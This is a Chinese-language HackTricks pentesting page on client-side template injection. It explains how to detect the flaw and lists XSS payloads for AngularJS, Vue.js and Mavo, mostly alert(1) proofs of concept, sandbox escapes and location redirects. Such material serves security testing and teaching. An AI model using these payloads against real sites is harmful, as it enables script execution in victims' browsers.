hacktricks/pentesting-web/client-side-template-injection-csti.md

6.4 KiB
Raw Blame History

从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

概要

它类似于服务器端模板注入,但发生在客户端SSTI可以让你在远程服务器上执行代码,而CSTI可能允许你在受害者中执行任意JavaScript代码

测试此漏洞的方法与SSTI的情况非常相似,解释器会期望在双大括号之间执行某些操作,并将执行它。例如使用类似:{{ 7-7 }},如果服务器容易受到攻击,你将看到0,如果不是,你将看到原始的:{{ 7-7 }}

AngularJS

AngularJS是一个流行的JavaScript库它扫描包含**ng-app属性也称为AngularJS指令的HTML节点的内容。当指令被添加到HTML代码中时你可以在双花括号内执行JavaScript表达式
例如,如果你的
输入反映在定义了ng-appbody**内: <body ng-app>

你可以使用花括号添加body中来执行任意JavaScript代码:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

您可以在 AngularJS 中找到一个非常基础的在线示例,网址为 http://jsfiddle.net/2zs2yv7o/

{% hint style="danger" %} Angular 1.6 移除了沙箱 因此从这个版本开始,像 {{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')> 这样的有效载荷应该可以工作。 {% endhint %}

VueJS

您可以在此处找到一个存在漏洞的 vue.js 实现https://vue-client-side-template-injection-example.azu.now.sh/
有效载荷示例:https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

以及这个存在漏洞示例的源代码在这里:https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

关于在 VUE 中的 CSTI 的一个非常好的文章可以在这里找到 https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

查看更多 VUE payloads 在 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

更多有效载荷在 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

暴力破解检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

支持HackTricks的其他方式